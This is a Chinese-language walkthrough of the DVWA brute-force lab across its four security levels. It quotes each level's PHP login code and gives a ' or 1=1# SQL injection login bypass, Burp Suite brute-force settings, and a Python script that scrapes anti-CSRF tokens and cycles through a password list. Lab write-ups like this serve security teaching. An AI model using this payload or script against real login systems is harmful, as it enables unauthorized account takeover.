DVWA - Brute Force

DVWA - Brute Force

等级：low

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直接上bp弱口令爆破，设置变量，攻击类型最后一个，payload为用户名、密码简单列表

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直接run，长度排序下，不一样的就是正确的用户名和密码

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另解：
看一下源码，user变量直接被嵌入sql语句中，没有进行任何过滤，故可以用万能密码（' or 1=1#​）截断sql语句，使result值为1，绕过登陆验证

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等级：medium

直接看源码：

<?phpif( isset( $_GET[ 'Login' ] ) ) {// Sanitise username input$user = $_GET[ 'username' ];$user = mysql_real_escape_string( $user );// Sanitise password input$pass = $_GET[ 'password' ];$pass = mysql_real_escape_string( $pass );$pass = md5( $pass );// Check the database$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );if( $result && mysql_num_rows( $result ) == 1 ) {// Get users details$avatar = mysql_result( $result, 0, "avatar" );// Login successfulecho "<p>Welcome to the password protected area {$user}</p>";echo "<img src=\"{$avatar}\" />";}else {// Login failedsleep( 2 );echo "<pre><br />Username and/or password incorrect.</pre>";}mysql_close();
}?>

添加了mysql_real_escape_string( )函数来转义参数中的特殊字符，故万能密码行不通，此外增加了登陆失败执行sleep(2)函数，一定程度上限制了爆破攻击，增加攻击者的成本。我们依旧用bp爆破，但是要设置下请求间隔为2100毫秒

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等级：high

直接看源码：

<?phpif( isset( $_GET[ 'Login' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Sanitise username input$user = $_GET[ 'username' ];$user = stripslashes( $user );$user = mysql_real_escape_string( $user );// Sanitise password input$pass = $_GET[ 'password' ];$pass = stripslashes( $pass );$pass = mysql_real_escape_string( $pass );$pass = md5( $pass );// Check database$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );if( $result && mysql_num_rows( $result ) == 1 ) {// Get users details$avatar = mysql_result( $result, 0, "avatar" );// Login successfulecho "<p>Welcome to the password protected area {$user}</p>";echo "<img src=\"{$avatar}\" />";}else {// Login failedsleep( rand( 0, 3 ) );echo "<pre><br />Username and/or password incorrect.</pre>";}mysql_close();
}// Generate Anti-CSRF token
generateSessionToken();?>

这里添加了token的校验，checkToken( )函数检查用户token和会话token是否相同，generateSessionToken( )函数是自定义函数，用于创建user_token，这里是从上一次请求的response里面提取的token，我们抓个包分析下

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所以我们用bp爆破的话，要给token设置变量，递归提取token，操作如下：

先设置grep规则，要勾选总是重定向，线程要设置成1，url编码要把=和&去掉

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然后run

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另解：

当然不熟悉bp操作的话，可以写python脚本来解决，如下：

import re
import requests# 设置cookie
headers = {'Cookie': 'PHPSESSID=m7t4i0m8ft1rh1p6frtm5t0bh0; security=high',
}# 从返回值中提取cookie
def get_token():url = 'http://ctfdemo.com:8008/vulnerabilities/brute/'req = requests.get(url, headers=headers)match = re.search(r'value=\'(.+)\'', req.text)return  match.group(1)# 请求脚本，这里为了省事，用户名固定了 
def brute(pw, user_token):url = "http://ctfdemo.com:8008/vulnerabilities/brute/"params = {'username': 'admin','password': pw,'Login': 'Login','user_token':user_token}req = requests.get(url, params=params, headers=headers)return req.textdef main():with open('password.txt') as p:pslist = p.readlines()p.close()for line in pslist:line = line.strip()user_token = get_token()result = brute(line, user_token)print("%s...... 已测试" % line)if not "incorrect" in result:print("攻击成功，密码是: %s" % line)breakif __name__ == '__main__':main()

输出：

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等级：impossible

直接分析源码：

<?phpif( isset( $_POST[ 'Login' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Sanitise username input$user = $_POST[ 'username' ];$user = stripslashes( $user );$user = mysql_real_escape_string( $user );// Sanitise password input$pass = $_POST[ 'password' ];$pass = stripslashes( $pass );$pass = mysql_real_escape_string( $pass );$pass = md5( $pass );// Default values$total_failed_login = 3;$lockout_time       = 15;$account_locked     = false;// Check the database (Check user information)$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR );$data->execute();$row = $data->fetch();// Check to see if the user has been locked out.if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {// User locked out.  Note, using this method would allow for user enumeration!//echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";// Calculate when the user would be allowed to login again$last_login = $row[ 'last_login' ];$last_login = strtotime( $last_login );$timeout    = strtotime( "{$last_login} +{$lockout_time} minutes" );$timenow    = strtotime( "now" );// Check to see if enough time has passed, if it hasn't locked the accountif( $timenow > $timeout )$account_locked = true;}// Check the database (if username matches the password)$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR);$data->bindParam( ':password', $pass, PDO::PARAM_STR );$data->execute();$row = $data->fetch();// If its a valid login...if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {// Get users details$avatar       = $row[ 'avatar' ];$failed_login = $row[ 'failed_login' ];$last_login   = $row[ 'last_login' ];// Login successfulecho "<p>Welcome to the password protected area <em>{$user}</em></p>";echo "<img src=\"{$avatar}\" />";// Had the account been locked out since last login?if( $failed_login >= $total_failed_login ) {echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";}// Reset bad login count$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR );$data->execute();}else {// Login failedsleep( rand( 2, 4 ) );// Give the user some feedbackecho "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";// Update bad login count$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR );$data->execute();}// Set the last login time$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR );$data->execute();
}// Generate Anti-CSRF token
generateSessionToken();?>

使用了 PDO（PHP Data Objects）扩展，即预处理和参数化查询，避免了SQL注入攻击；设置了最大登陆次数（$total_failed_login = 3），当登陆失败的次数超过3次，会输出警告信息，锁定账户。在一方面确实防止了爆破攻击，但是我们可以批量让用户锁定，也是在一方面影响了用户的体验。

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